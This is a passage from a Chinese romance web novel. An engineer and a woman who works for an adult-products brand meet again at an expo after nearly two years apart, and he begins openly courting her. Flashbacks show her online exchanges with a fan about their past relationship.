这时，某人的手机“叮”地响了一声，弹出一条消息—— 【用户提交评价：机不如人，还有待学习提升。】 而在半小时前，这个app还弹出了另一条消息： 【陈图森模式已启动。】 …… 又是一年年终。 蚂蚁智行针对下一阶段的技术升级召开了一场内部研讨会。 智能驾驶作为当前经济的一个新的增长点，正以前所未有的迅猛之势席卷整个汽车行业，整个行业刮起了一场“技术内卷战”。 一部分认为应该提高自动驾驶的自动化智能化，让它全面取代人类，实现完全的自动驾驶。他们的观点是—— “就算没有驾照的人都可以放心坐上这款车！” 这样的技术确实很吸引眼球，他不是市场部的，但也能想象这样一款车推出的时候，会有多少人为了尝鲜去购买。 刚来到这家公司的时候，他也抱着这样的想法，觉得只有实现完全的自动化才能称之为自动驾驶。他的脑海里甚至已经产生了这么一个图景，在一个很摩登的城市，一辆辆自动驾驶的车辆快速地在城市道路穿行，精准地避开一个个障碍物，快速便捷地抵达目的地。 很赛博朋克风，很科幻感，像极了电影或者游戏里的场景。 这样的画面曾经让他热血澎湃。 可是，他来到这家公司差不多两年了，他发现自动驾驶和自动化装配不同。物流实现全面自动化是为了提高效率，解放人类的劳动力。 但驾驶不同。 科技不是炫技。 人类发明科技，是为了让自己的生活过得更好，而不是让机器掌控我们的生活。 陈图森的意见虽然微弱，但他依然大胆地表明自己的观点： “我觉得，自动驾驶始终应该以人为本。不管这项技术再成熟，它始终都应该是辅助人类的工具，而不是取代人类的位置。” “所以，我不赞同。除了考虑安全之外，乐趣也是不可忽视的一个因素。人们开车，并不是只想让车把自己送到目的地。如果是这样的话，他们可以选择坐飞机、坐高铁。有一部分人选择自驾是为了追求驾驶乐趣。如果我们让自动驾驶技术全面接管，也是在剥夺这部分人的乐趣。” 曾经，机械对他来说，是世界上最有意思的东西。 可是，也不知道从什么时候开始，他发现，人才是最重要的。 …… 新的一年到来，两人依旧像两条平行线一样，始终在各自的世界里，没有任何交集。 9月，全国第五届性文化节在江城举行。蜜语报名参加，活动举办期间，蜜语可以在会场内拥有摊位，宣传品牌文化以及售卖产品。 蜜语的产品非常受欢迎，仅半天，她们的产品手册就派完了。 小优说：“小星星，你在这里守着哈，我和小风去车上再拿点产品手册过来。” 林晚星应道：“好，你们去吧，我看家。” 两人刚走不久，一个三十多岁的男人走了进来，左看看右看看。 虽然蜜语的主要客户群体是女性，但是也不能拒绝男性购买。 于是，林晚星主动上前招待：“先生，请问您想了解什么呢？” 男人双眼落在林晚星身上，上下游走一圈，说道：“有什么介绍吗？” 林晚星：“请问您有什么需求吗？” 男人：“刺激点的。” 林晚星：“……呃，这款您看看。” 林晚星拿了她们新推出的一款情.趣款，认真地给对方介绍。 她没注意到，对方的手悄悄地伸向她的身后，突然搂住她的腰。 林晚星倏地睁大眼睛，将他推开，后退一大步，大呵一声：“先生！” 男人根本不怕，也不在乎摊位外人来人往，直接上前抓住林晚星的手，将她拽回跟前，说：“你陪我玩，我都买，再多都买。” 林晚星用力挣扎，大声说道：“麻烦你放尊重点，再不放手我就喊人了！” 男人却色眯眯地说：“装什么清高啊，你在网上不是很放得开嘛？现在装什么啊？” “还是嫌这个场地不合适？”说着，他拿出一张名片，塞进她polo衫胸前的口袋，“今晚给我电话。” 林晚星觉得恶心至极，抬起脚朝他的□□用力踢了一脚，把他往后一推，推出摊位外，大声骂道：“给我滚！” 男人双手捂着下面，痛得面目狰狞。 待缓过来，他恼羞成怒，想再次进来。 林晚星立马抄起一张凳子准备砸过去。 这时，摊位外一个人冲了过来，抓起男人的手，一拳打了过去。 男人被打得往旁边踉跄了几步，等他回过神来，恶狠狠地看着打他的人说：“好啊，英雄救美啊！你也想上她是吧？那也讲究先来后到！” 说着，他快步上前，抬起脚朝着对方踢了过去。 那人赶紧交叉双臂护在身前，脚重重地踢在他的双臂上，他吃痛皱了下眉。 林晚星眼睫也跟着一跳，举起凳子就冲过去。 然而，男人身体的力量终于凌驾于林晚星之上，他一手抓住凳脚，就把凳子甩到一边。 男人得意地狞笑，还想上前，这时保安正好赶到，冲着男人大喊：“干嘛呢！” 林晚星指着男人说：“保安大哥，这人刚过来闹事！” 男人还想抵赖：“我这叫闹事了，我是来买东西的。” 保安早在监控室看到了事发经过，不由他多说，把他带走。 林晚星赶紧转身，看向刚才帮她的人。她紧张地抓起他的手，看到他两只袖子上还印着脏兮兮的鞋印。 她有些心疼地用力拍了拍，问道：“你有没事啊？受伤了没？” 那人却怔怔地看着林晚星，一句话都说不出。 他有些呆滞地看着她给他检查手臂，目光落在她手腕上的红印。 是刚才那男人抓的。 他紧张地抓起她的手，问道：“那你呢，你有没事？” 林晚星一惊，赶紧将手缩了回去，说：“别担心，我没事。” 刚才的闹剧结束，身边又是熙熙攘攘的来参加活动的人。 周边热闹非凡，两人却陷入了怪异的安静。 他们谁也没想到会在这种场合再见。 终于，林晚星还是抬起头，笑着对他说道：“好久不见啊，陈图森。” 陈图森也笑了笑，说道：“是啊，好久不见了。” 是好久了。 21个月，648天。 第43章 第 43 章 “我是在认真地追求你。…… 林晚星这才终于正眼看着他, 他好像和以前一模一样，穿着一件白色的打底T恤，外搭一件天蓝色的休闲衬衫，还是以前的风格, 看上去清清爽爽的。 两人相视一笑后, 都默契地挪开了目光, 再次陷入沉默。 林晚星觉得他应该和其他人一样，是过来这个活动凑凑热闹的。这场小小的插曲结束后, 他应该就会走吧。 可是, 他现在一直站在这里干什么啊？ 又不说话, 就干站着，是不好意思开口？ 于是，她主动开口：“刚才谢谢你，那人被保安带走了, 我这边没什么事的。你要是还有事忙, 可以先走的。” 她的事就是他的事，他还能走去哪里。 陈图森有些局促, 低头挠了挠后脑勺, 突然走到一旁, 弯腰把刚才被砸的凳子搬起来，放回摊位里面去。 林晚星不知道他这是演的哪一出，赶紧跟着上去，说：“我来就好, 不用麻烦你了。” “不麻烦。”他把凳子摆好后，又在原地干站着，还是没有要走的意思。 林晚星问：“你，还有事吗？” 陈图森应道：“没有。” 林晚星：“那你, 不走吗？” 陈图森抬头左顾右盼，轻轻扯了扯唇线，才说道：“我再待一会吧。” 林晚星知道自己不应该多想，可是，她觉得陈图森表现得有些过于明显了。 “你是在担心我吗？” 陈图森微愣，点点头：“嗯。” 一股微弱的暖流汇入心房，林晚星嘴角浮起一抹笑意：“刚才那只是意外，你不用担心。就算真的再有人闹事，我也能解决。” 说着，她昂起头，露出一副“我不好惹”的样子，说：“说实话，刚才你就算不出来，我也能搞掂。” 陈图森微微点头，“嗯”地应了一声：“我相信的。” 在两人没有再见的648天里，她成长了不少，她也有足够的力量去反击欺负她的人。 可是，就算她能自己保护自己，他也没法就这样看着她有危险不顾。 再说了，好不容易见着了，他不想就这么又分开。 “但我还是想在这里陪着你。” 这句话好像什么都没说，又好像藏着很多话。 林晚星的脸颊有些微微发热，她转过身，不让陈图森看见。 “我自己一个真的可以的。再说了，我也不是一个人，我同事只是出去拿东西，很快就回来的。” 话音刚落，小优和小风就拿着产品手册回来了。 小优喊道：“小星星，快来帮忙。” “来了！”林晚星应道，赶紧上前接过小优手上的资料，小优的目光却盯在摊位里的陈图森。 “这位帅哥是……”小优的双眼在两人身上移动，最后落在林晚星身上，问道，“前男友，还是追求者啊？” 小优一点都没控制自己的音量，这样的距离，这样的音量，陈图森肯定是听到了。 林晚星顿时脚趾抠地，尴尬死了！ 关键是，两人的关系，她自己也不知道应该算什么。 她对小优挤眼睛“你别乱说！” 小优笑道：“那到底是什么？” 林晚星：“都不是！” 陈图森：“追求者。” 两人几乎是同时开口，但是谁也没有掩盖住谁的声音。 小优和小风一脸在线吃瓜的欣喜，相互对望了一眼。 林晚星也吃了一惊，陈图森在说什么？ 她扭头看了陈图森一眼，只见他脸上云淡风轻的，但是又特别认真。 对上林晚星的双眼，他微微笑了一下，似乎在肯定自己刚才的回答。 心脏像被什么轻轻地撞击了一下，微微震颤。 陈图森这是什么意思？ 追求者？ 他要追的是她？ 明明没有喝酒，但是却感觉有些微醺，大脑有点晕沉沉的。 他该不是在开玩笑吧？ 一消失就消失了差不多两年，突然出现就说自己是她的追求者。 是不是配合小优开个玩笑的啊？ 再说了，这人真的是陈图森吗？ 该不会是披着陈图森人皮的妖精吧？ 还是陈图森被夺舍了？ 就算是开玩笑，他以前也不是会在外人面前说出这三个字的人。 得到当事人的答案后，小优非常识相，说：“我们准备吃饭了，不好意思，小星星，你今天恐怕要跟这位帅哥追求者出去吃饭了。” 林晚星不解，问道：“为什么？我们不是订了三份快餐吗？” 小优：“可是我们有四个人啊！再说了，我刚才和小风去拿东西，消耗了很多能量，我现在一个人能吃两份饭！” 小风赶紧附和道：“对对对！真的饿死了！你就行行好，把你那份让给我们吧。” 林晚星：“……” 本以为陈图森这下应该会识相地告辞，没想到他却接过话，看着林晚星问道：“可以吗？” “嗯？”林晚星不解地回看他，“可以什么？” 陈图森：“中午可以跟我一起吃饭吗？” 陈图森好像问了一个很难回答的问题一样，林晚星整个人都愣住了。 她应该怎么回答，要不要跟陈图森一起去吃饭呢？虽然也不是不想，但实在是太突然了，跟做梦一样，她还来不及消化。 小优见她还在犹犹豫豫，直接帮她应道：“当然可以了！你们快去吧。” 说着，她直接上手，将林晚星推到陈图森的边上，赶他们离开：“去吧去吧，慢慢吃，不用急着回来，我们两个可以的。” “……” 事到如今，林晚星也不好再扭捏，看向陈图森说道：“那走吧。” 两人走出会展中心，这里位于市中心，要找吃饭的地方不难，旁边就是一个大型商超。 林晚星提议道：“我们就去那吃吧。” 陈图森：“可以。” 他们找了一家湘菜馆，点完餐后，两人尴尬地对视了一眼，扯起唇角客套地假笑一下，一时不知道说什么，又陷入了尴尬的安静。 时间像被无限地放大、拉长，每一秒都过得极其缓慢，这像是被调了慢速的时间里，所有感官的灵敏性都得到提升，他们似乎都听到了彼此的呼吸以及自己的心跳。 终于，直男陈图森开启了前任久别重逢的经典对话：“你过得好吗？” 林晚星微滞，点点头：“嗯，挺好的。” 礼尚往来，她也问道：“那你呢？” 陈图森：“我也还行。” “还行啊……”林晚星斟酌着他这句客套话，故意调侃他，“听起来很勉强的样子。” 陈图森勾唇轻笑：“唯一不好的地方，就是少了个人。” “砰！”，陈图森突然又打了一记直球，林晚星来不及防守，被重重一击。 她迅速调整状态，问道：“少了个人？什么人呀？女朋友？” 陈图森丝毫不回避，直接上前接过球，应道：“对。” 林晚星斟酌着发球的力度、方向，认真研究又佯装随意地问道：“分了？还是一直没找着？” 陈图森：“一直没找。” 一直没找……林晚星战略性地抿了一口茶，像在品味陈图森刚才说的话：“也没有什么炮.友、测评搭档之类的？” 这个消失已久的名词猝不及防地被拎了出来，陈图森真是招架不住，笑着低下头，无奈地摇摇头说道：“林晚星，你真的是……” 跟以前一模一样。 而后，他很认真地抬头，看着林晚星，认真地说道：“没有。没有室友、没有炮.友，也没什么测评搭档的。” 原来陈图森还是那个陈图森，林晚星抿起双唇，将笑藏在嘴里。 她表面上还是教育道：“我之前就提醒过你，要学会和别人相处。不然啊，不管是室友还是女朋友，都是很难找的。” 谁会受得了你整天高高冷冷，不爱理人的样子。 陈图森双手捧着杯子，手指机械性地抚摸着杯壁，缓慢而认真地说道：“我不打算学习。” 林晚星：“嗯？” 陈图森抬眸看她：“我不打算学习怎么跟人相处，这段时间，我只在学习一件事。” 林晚星顺口应道：“什么事？” 陈图森：“我在学习，怎么跟你相处。” “砰！” 又是被一记直球击中。林晚星根本来不及反应，怔怔地看着陈图森。 陈图森也不回避她的视线，说道：“记得你当初说有可能会搬走的时候，我就说过，我不打算找别的室友。当时没这个想法，这两年也没有，以后也不会有。我想要的室友，就只有你。” 女朋友，也是。 林晚星的心脏已经被撞得“砰砰”直跳，她再次拿起杯子抿了一口茶，嘀咕道：“你也不能就逮着我一个人来薅啊……” 她的脸埋在杯子后，陈图森到底是怎么回事啊？怎么今天每句话都那么直来直去，把她的心脏都要撞得心律不齐了。 不行不行，不能再放任他这样。 林晚星放下杯子，抬眸看向陈图森：“那你搬走后，就一直一个人？” 陈图森应道：“对。” 林晚星怒了努嘴：“我怎么有点不相信呢。毕竟你以前一个星期要……” 她在他面前伸出四只手指，用嘴型说：“四次。” 陈图森微愣，耳根倏地蹿红。 有那么一刻，他感觉好像回到了刚跟林晚星合租那段时间，她总是猝不及防地冒出一些让人耳红心跳的话。 那种熟悉的感觉回归，陈图森忍不住笑道：“林晚星，你觉得现在跟我聊这个话题合适吗？” 就像分手多年的前任，再见就在回忆两人的亲密行为一样。 林晚星立马抬手捂住自己的嘴巴，做出一副不慎失言的样子：“哦，对不起！” 但实际上，她并没有真的觉得对不起。 反而微微晃着脑袋，喜滋滋的，像是在说： 嘿嘿，终于被我掰回一局啦！让你打直球打这么爽，我的小黄球接得住吗？ 陈图森看着她得意的样子，嘴角含着笑，果然还是当年那个熟悉的林晚星。 还是那么大胆，那么口无遮拦，一开口就倒出满脑子黄色废料。 不过，林晚星还是收敛了一些，毕竟这是公共场合，教坏小朋友可不好。 两人这顿饭吃得还挺愉快，很快就没有久别的生疏。 饭后，林晚星往会展中心的方向走去，陈图森双手插着兜，也跟着林晚星一起走回去。 林晚星：“你，还要回去吗？” 陈图森：“嗯。” 林晚星：“你在那里还有事？” 话说，她忘了问陈图森怎么今天会出现在这里？难道他们公司也有参与这个活动？不过他们公司和这个活动好像不太相关吧？ 陈图森低头思考了一下，问道：“陪你，算吗？” 胸腔之下，心脏再次骤然悦动。 本以为这场直球较量已经过去了，没想到陈图森再次发球。 林晚星努力控制自己的表情，尽量装作镇定地问：“陈图森，你今天到底是怎么了？” 陈图森低头，看着脚底投下的一团影子，微微牵起唇，笑道：“你是真的不明白，还是又在装傻啊？我以为我刚才已经说得够清楚了。” 林晚星抬眉：“嗯？” 他刚才说什么了？ 陈图森凝眸看向林晚星：“我说了是你的追求者，所以，我现在是在认真地追求你。” 9月份的江城，中午的太阳依旧炽热。 天空却异常澄净，万里无云。 就像此刻的陈图森，明晃晃、赤.裸.裸的。 炽烈得让人睁不开眼。 林晚星别过头，一丝甜味儿在心底蔓延开，嘴角忍不住微微勾起。 “陈图森，你真的没交女朋友吗？” 他怎么变得这么会啊？像是在无数个女人身上练出来的一样。 再说了，哪有人两年没见，刚见到就说要追人的。 一点都不矜持！ 陈图森的目光炙热，和正午的太阳一起，落在林晚星身上： “真的没有。只是在脑海里，演练了无数个再见到你的场景。” 他想说的话，早已在脑海里排练了无数次。 以至于，他说的每一句话，看着都像是排练了多次的话剧效果。 但林晚星又何尝没有排练过。 只是，在她版本里的陈图森，依然是以前那个寡言少语，闷骚木讷的陈图森。 她怎么都不会想到，陈图森竟然会进化成这个样子。 “陈图森，哪有人像你这样的。我们都多久没见了，你一见面就说要追人，很轻浮，你不觉得吗？” “轻浮吗？”陈图森低下头，似乎也在反思自己这样的行为是不是太过急进，“我只是，很后悔。以前有很多话没有及时跟你说。所以，我几乎每一天都对自己说，如果再见到你，我一定不会再像以前那样。” 他曾经以为，爱一个人，做什么比说什么重要。 他以为，他的心意已经全部写在行动上，已经足够明显。然而，一种行为是可以有多种解读，没有喧诸于口的心意，是很难传递到对方的心里。 或许正因为如此，当年他跟林晚星表白时，她才不相信他。 林晚星已经完全不知道如何反应了，她只感觉到脸上的温度飞速上升。 她用两只手作风扇给自己脸颊降温，然后快步向会展中心走去：“好热，我们干嘛站在太阳底下聊天。” 她加快脚下步伐，走在陈图森前面，嘴角却忍不住上扬。 一整个下午，陈图森都留在蜜语的摊位，帮忙搬东西，帮忙招待来咨询的人。一直到7点，她们下班的时候，陈图森才跟着一起走。 小优和小风非常识相，两人眨眼就不见了身影，只留下林晚星和陈图森。 林晚星看了看陈图森，笑道：“那一起走吧。” 陈图森：“好。” 走出会展中心，林晚星很自然地朝着地铁站走去。 陈图森叫住了她：“我车在那边。” 林晚星一怔，默默地跟着过去。 陈图森走到一部银灰色的新能源SUV旁，为林晚星打开副驾驶的车门。 林晚星钻进车里，看着陈图森也坐了上来，有些感慨地说：“没想到你还买车了。” 像他这种，找房子要找地铁站旁的，放假又不爱出门的人，她着实没想到他竟然买车了。 陈图森一边系安全带，一边说道：“嗯，公司产品，自己用过才知道还有什么地方可以改进。” “哦~”林晚星了解了，“那你这是，测评公司产品。” 明明很正常的一句话，从林晚星嘴里说出来，不知道为什么有点不一样的味道。 陈图森用力压下弯起的嘴角，说：“嗯，算是。” 好在，现在就连晚霞都消散了，天色渐暗，看不见他红起来的耳根。 陈图森轻打方向盘，驶出会展中心的停车场，他状似随意地问道：“一起吃个饭再回去？” 正好饭点，回去也晚了，家里也没有菜，林晚星想不到拒绝的理由：“可以。” 陈图森：“想吃什么？” 林晚星：“都可以，你有什么想吃的吗？” 陈图森有些苦恼地一笑：“你问我啊……” 这还真有点难倒他了：“我不经常在外面吃。” 林晚星只好自己出主意：“呃……我家附近有个小海鲜大排档，还不错，要不要试试？” 陈图森：“可以，你帮我导航一下。” 车子跟随着导航，驶过了江，还是江南区。 抵达目的地附近的时候，陈图森注意到这里距离滨江花园只隔了两个街区。 她说这是她家附近，那她也还住在这一片区。 想起这将近两年的时间里，他来过滨江花园很多次，却一次都没有在这里遇见过林晚星。人的缘分真的很奇妙，有时候人的身上像嵌入了磁铁，无论去到哪里，都能遇见。有时候明明两人就在眼前，都可以看不见。 大排档在一个老城区里，道路狭窄，停车位紧张，陈图森把车停在路边，两人下车还要走三五百米。 也许是周末，大排档人特别多，好在他们只有两个人，老板给他们腾出了一个小座位。 陈图森用筷子把餐具的保鲜膜戳破，问道：“你经常来这里吃吗？” 林晚星也正在撕开餐具的保鲜膜，倒进茶水，说：“自己一个人的话不怎么来，不过和公司同事来过两三次，感觉还不错。” 陈图森：“你还是住在这片区。” 林晚星：“嗯，住习惯了，就不想换。” 陈图森：“那为什么要搬？” 以前的小区，以前的房子，不是更熟悉吗？ 这话一问出，林晚星的心莫名传来一阵刺痛，仿佛被拉扯回两年前的时光。 她很快将漫出的情绪压下，笑道：“我一个人租那里，太贵了呀。” 自己一个人支付那个房子的房租，确实太贵了。 她一开始也想过再找室友，可是却一直没下定决心去找。 她自己在那里生活了一个星期，她发现，虽然陈图森搬走了，但家里的每一个角落都还留存了他的气息。 明明他已经不在了，她竟然还是能闻到他身上的气味。 好难受。 所以她直接找房东退租了。 当然，这个原因，她不会跟陈图森说。 陈图森接过她上面的话，问道：“当时没有再找别的室友了吗？” 林晚星随口编道：“那时都快到年底了，很难找人合租的。” 陈图森觉得也是，点点头“嗯”了一声。 林晚星也问道：“那你呢？你搬出去之后，住哪里呀？” 陈图森直接说道：“天悦云府。” 林晚星不知道这个地方在哪，但是她觉得有点熟悉，好像在哪里听过。 看到林晚星皱了皱眉，陈图森解释道：“在北桥区，我之前买的房子。” 哦~林晚星想起了，上次他和她爸吃饭的时候说过的。 陈图森的记忆也倒回搬出去的那天。 他临时决定搬出去，没别的地方去，只能直接搬进自己的房子。 房子里空空如也，一件家具都没有。 他本来是等着有机会跟林晚星表明心意后，两人再一起挑选家具的。 第一天晚上，他坐在行李箱，靠在墙上，睁着眼又是一夜。 第二天，他订了个酒店，在酒店住了一个星期，等基本的家具到齐了，才搬了进去。 当然，这些话，他也没对林晚星说。 饭后，林晚星说：“我家就在附近，你不用送我了，我自己回去就可以。” 陈图森却说：“我还是送你吧。” 林晚星：“真的不用，很近的。” 陈图森垂眸看着她，不羞不臊地说：“我在追你呀，林晚星。送人都不送到家，是要扣分的。” 林晚星一愣，这个话题暂停了半天，她都差点忘记了。 她害羞地抿起嘴巴，擒住嘴角溢出的笑意，直接转身向前走去。 陈图森迈着长腿快步跟上。 林晚星看了他一眼，提醒道：“那你待会还得走回来开车。” 陈图森不以为意：“就当是散步。” 她住的地方确实离得不远，差不多1公里左右就到了。 是一栋单体公寓楼，没有花园，比滨江花园好的地方或许是有电梯。 “叮——”电梯到了，两人走出轿厢。 陈图森沉默地跟在林晚星身后，看她在1206号房停了下来，掏出钥匙开门。 门开了，但她没有立刻进去。 她转身看向身后的陈图森：“你，要进来坐坐吗？” 是客套，也是试探。 他跟了她一天了，总不是就为了跟她吃吃饭，送她回家吧？ 不料，陈图森却摇摇头，笑说：“下次吧。” 他不想自己真的表现得太过轻浮。 他之所以明目张胆地告诉她，他在追求她，是不想她再胡思乱想。 他希望这一次能让她明明白白地看到他的心意。 但是，他不着急。 他甚至想，慢一点。 分开的这段时间里，他总是想起他们之间发生的事。 从见面第一天到分开那一天。 他那时太着急了。 他在对她刚浮现好感的时候，就着急接受她的邀请，和她发生亲密关系。 那时的他，并没有多少和女孩子接触的经验，也不知道应该如何和女孩子相处，更不会追女孩。 他只是觉得，如果两人最后都是要走在一起的，那么他们提前发生亲密关系也没什么问题。 于是，他跳过了两人互相了解、试探，互通心意的阶段，直接跳到亲密关系，以最直白的肉.体接触去打破人与人之间的隔阂。 那时候的他并没有没意识到，他是在走捷径。 而任何捷径都暗含了代价。 所以他们的关系始终浮于表面的身体欢愉上，他始终走不进她的心。 这样，林晚星又怎么能相信他？又怎么能有安全感呢？ 林晚星不想找男朋友是她的事，他不能以顺从她意愿为由占她便宜。 他应该从那时候开始就正儿八经地追求她。 所以，这一次，他希望慢一点。 慢慢地，一点点地，走进林晚星的心。 陈图森的回答确实有些出乎林晚星的意料，他拒绝了她的邀请，却预约了下次。 有些意外，也有些满意，她笑着点点头：“好吧。” 她推开门，走了进去，在关门之前，她又看了陈图森一眼。 陈图森也笑着回看她：“晚安。” 林晚星：“晚安。你回去路上，小心开车。” 陈图森：“会的。” 林晚星笑了笑，准备关门。 “欸——”陈图森突然叫住了她。 嗯？是想反悔了？ 林晚星手上动作停住，又稍微打开门，疑惑地看着他。 陈图森有些不好意思：“那个……如果你觉得我今天表现还行的话……” “我能不能从你的小黑屋里出来了？” 第44章 第 44 章 “和我喜欢的人。”…… 啊…… 林晚星差点都忘记这一茬了。 她有些不好意思地笑道：“行, 待会就放出来。” 陈图森嘴角终于翘起来，羞涩地点点头：“那，我回去了。你锁好门。” 林晚星也点点头：“嗯。” 关上门，林晚星回到房间, 拿出手机, 从黑名单里把陈图森放了出来。 她点开陈图森的聊天页面, 想了想，给他发了一句：【欢迎回来。】 很快, 陈图森就回了过来：【[耶]】 虽然只是一个简单的表情, 但林晚星捧着手机, 隔着屏幕好像都能看到他得意的样子。 过了几分钟，陈图森又发了一条信息过来：【我上车了。】 林晚星洗完澡出来才看到，回复道：【刚去洗澡了】 陈图森秒回：【我刚到家】 林晚星：【那你也早点洗澡休息吧】 陈图森：【你明天还要去会展中心吗？】 林晚星：【要的】 陈图森：【几点？】 林晚星：【9点到】 陈图森：【那我8点半到你楼下接你。】 他没有征求意见，直接表明了自己的想法。 林晚星：【你明天也过去啊？】 陈图森：【去送你】 林晚星有些惊喜, 嘴角忍不住高高扬起, 她没有矜持地回复“不用”、“不要麻烦了”，因为她也想看到他。 况且, 根据他今天的反应, 他大概率会说：【我在追求你, 如果这都做不到，会扣分的。】 于是，她大方地回复道：【明天见】 陈图森：【明天见】 看到陈图森的回复后，林晚星直接转身扑倒在床上, 心里像淌着蜜汁一样，甜滋滋的。她抱着手机在床上打滚，克制了一整天的兴奋终于在这一刻被释放出来。 滚了几圈后，她仰面躺在床上, 看着天花板深深地呼吸了一口气，心里的快乐根本按都按不住，这就是被人追求的感觉吗？ 她眯起眼睛，笑得两排牙齿都露了出来，也太甜了吧！ 她在床上又滚了一圈，又打开手机，点开一个视频软件，这是她平时发布栏目视频的平台。 点开后台信息，她往下滑，找到一个叫【果子】的人。 她把聊天信息往上翻，翻到两人去年的聊天记录。 果子是她的一个粉丝，去年看了她的视频后，来私信她。 果子：【老师你好，很冒昧打扰你。我想问一下，如果一个男人只是想跟我上.床，那他是不是并不爱我？】 林晚星有些苦恼，自从做了这个栏目后，偶尔也会遇到这样的问题，部分网友会把她当成两.性.关系的情感导师。 她觉得自己的感情都乱七八糟，哪敢给人提意见啊！ 因此很多她都直接选择不回复。 只是，这个问题，让她想起了陈图森。 她心生感慨，没想太多就回复道：【我不太清楚你们什么情况，但我觉得不能一概而论。性是人的一部分，也是爱的一部分。】 果子很快就回复： 【啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊！】 【老师你竟然回复我了！！！！！！！】 林晚星被吓到了：“……” 果子又继续发了消息过来：【我跟他是异地，一周只能见一次，每次见面都是在床上。其他情侣会去逛街、吃饭、看电影、旅游，我们什么都没！只是做！我和他完全没有谈恋爱的感觉。我觉得我和他好像更像炮.友。】 林晚星皱了皱眉头，异地恋啊，那她就更不清楚了。 她只能建议道：【我建议你和他好好聊聊，如果你不喜欢这样，就明确告诉他。如果他不改你又不能接受，那你再考虑要不要结束这段感情。】 可能是因为这个问题触及到深藏在内心某处的情绪，她话有点多，又发了一条：【我以前也有个喜欢的人，我们也不是正常的情侣关系，是……】 是啥呢？打字的手顿了顿，跟她说是测评搭档，她估计不理解。 说是炮.友，她始终不想这么肤浅地去定义她和陈图森之间的关系。 左思右想，她继续打道：【……是只在床上玩耍的朋友。我那时也以为他不喜欢我，只是想和我做。所以两人要在一起，还是得坦诚。】 果子可能没想到能吃到博主的瓜，而且还有人把炮.友关系描述得这么清丽脱俗，发了个口瞪目呆的表情过来。 然后才回复：【那你们现在呢！！！】 林晚星：【没在一起了。】 果子：【为什么？】 林晚星：【他那时想发展情侣关系，但我拒绝了。】 果子：【[惊]一般不是女的想进一步发展，男的不想吗？】 林晚星：【……呃，你的意思是说，我是渣女？】 果子：【啊啊啊啊啊！不是的！老师你千万别误会！我只是觉得你很洒脱！】 林晚星：【哈哈，跟你开玩笑。只是那时我对我们的关系没信心，所以不想发展。】 果子：【那你喜欢他吗？】 林晚星顿住了，没有立刻回复。 尽管已经那么久没见，提起陈图森，她还是会心跳加速。 她曾经也不确定，自己对陈图森的感情，到底是真的喜欢，还是被床上的激情误导了。 所以就算刚分开那段时间，她很痛苦很痛苦，像是把自己身体的一部分切割出去一样痛苦，她也忍住没有联系陈图森。 她希望让这段感情冷却下来，再去看清楚自己的心。 后来她发现，无论过了多久，每次想起陈图森，她的心里还是会有不一样的感觉。 陈图森在她心里，是不一样的存在。 林晚星曾经也怀疑过，自己对陈图森的动心，是不是因为他的表白？ 是得知自己被爱而欣喜的心情。 是因为他喜欢她，所以她也感觉自己喜欢他？ 随着两人分开的时间越来越久，当初被表白时掀起的心跳，早已平复。 可是，她每每想起陈图森时，却依然会有怦然。 她慢慢发现，她对他的心，早就跳动在不被察觉的点点滴滴的瞬间里。 或许是起于那年跨年夜，她独自一人在家，他突然拉着行李箱出现在家门口，回来给她做了一顿蛋炒饭。 或许是起于那年她说有可能会搬走时，他说他不会再找别的室友，在她以为失去了所有爱的时候，他坚定地认定了她一人。 或许是起于他们第一次测评时，他小心翼翼地在她额头上落下一吻，渴望又克制。 又或许是她第一次直播被人评头论足时，他突然将她抱入怀里，为她挡住所有的洪水。 也或许是起于那很多次的测评中，她某一次或者每一次情动的时刻。 她不知道具体是哪个瞬间让她爱上了他，也许是所有瞬间相加的结果。 他从来不语，却默默地做了所有爱她的事。 他将爱融入和她相处的每一分每一秒里，又被她藏进记忆里。 以至于现在想起，她的心依旧会怦怦直跳。 过了好几分钟，林晚星才回道：【喜欢的。】 果子：【那就去找他啊！和他说清楚！】 林晚星看着这个建议发愣，怎么可能呢？ 她当初对他说了那么多狠话，说她根本不喜欢他，说她只是把他当工具人。 她一定伤透了他，他又怎么还会喜欢她呢？ 再说了，他那么优秀，说不定已经有女朋友了，说不定还结婚了。 她现在这么跑过去跟他说这些话，才是真正的渣女呢！ 再再说了，就算他没女朋友老婆的，她又有什么资格再去奢求他的爱呢？ 就算她失去后才知道珍惜，她又凭什么要求他永远在原地等她呢？ 搞不好还以为她又想找他测评呢！ 林晚星如实跟果子说了自己的顾虑，最后总结道：【我这么跑去跟他表白，太奇怪了，太冒昧了，也太渣了。】 这下，果子没有立刻回复，过了几分钟，她发过来一张截图， 是她最新发布的一个测评视频的评论区，有人问：“主播姐姐，你都用过吗？” 林晚星回复道：“没用过怎么敢拿出来说！我是良心博主！” 而果子在下面跟了一条评论：“跟谁？男朋友吗？” 果子说：【老师，你快回复我！！】 林晚星很懵：【回什么啊？】 果子：【你就回：我喜欢的人！】 林晚星皱了皱眉，不懂。 她问道：【为什么啊？】 果子：【你不是喜欢他吗？但是又不知道他还喜不喜欢你，我们测试一下呗！如果他还喜欢你，我觉得他一定会想方设法关注你的所有动态，说不定他每天都有看你的视频。那你就给他释放一点信号，给他一点暗示，如果他还喜欢你，他看到这条评论一定会跟你联系的！】 林晚星仔细琢磨了一下，感觉好像有点道理，于是听从果子的建议，在下方回复道：“我喜欢的人！” 这条评论很快引来其他网友一起吃瓜，果子最后还推波助澜：“帮d，希望主播姐姐喜欢的小哥哥能看到。” 林晚星看着这条评论，心里开始七上八下的，陈图森会看到吗？他还会关心她吗？可是过了好几个月，依然无声无息的。林晚星有点失望，果然，陈图森怎么可能会看到呢？他怎么可能会关注她的账号呢？他不恨她就很不错了。 所以，今天刚看到陈图森的时候，她惊喜又忐忑。 惊喜于终于见到了朝思暮想的人，忐忑于不知道应该如何面对现在的他。 她本来以为，就算陈图森还喜欢她，就算陈图森回来找她，估计还会像以前那样，什么都藏在心里。她对自己说，如果他真的回来找她，那这次让她主动吧。她一定会好好跟他道歉，一定会认真地告诉他—— 她真的，很喜欢他。 只是，她怎么都想不到，陈图森跟变了个人一样。 今天她还来不及表明自己的心意，她还想好好试探揣摩一下陈图森的心意时，他竟主动说要追求她。 四舍五入，他今天相当于又表白了一次！ 天知道，她今天听到这句话是多么震惊。 她那时怔怔地看着他，心里想的都是，他怎么抢了我的角色？说了我的对白？那我该说什么？ 她一下子人设都没了，不知道怎么演了。 她不确定陈图森有没有看到那条视频，有没有看到那条评论。 但是，管它呢！反正，想要的效果达到了。 这效果甚至比她想的还要好。 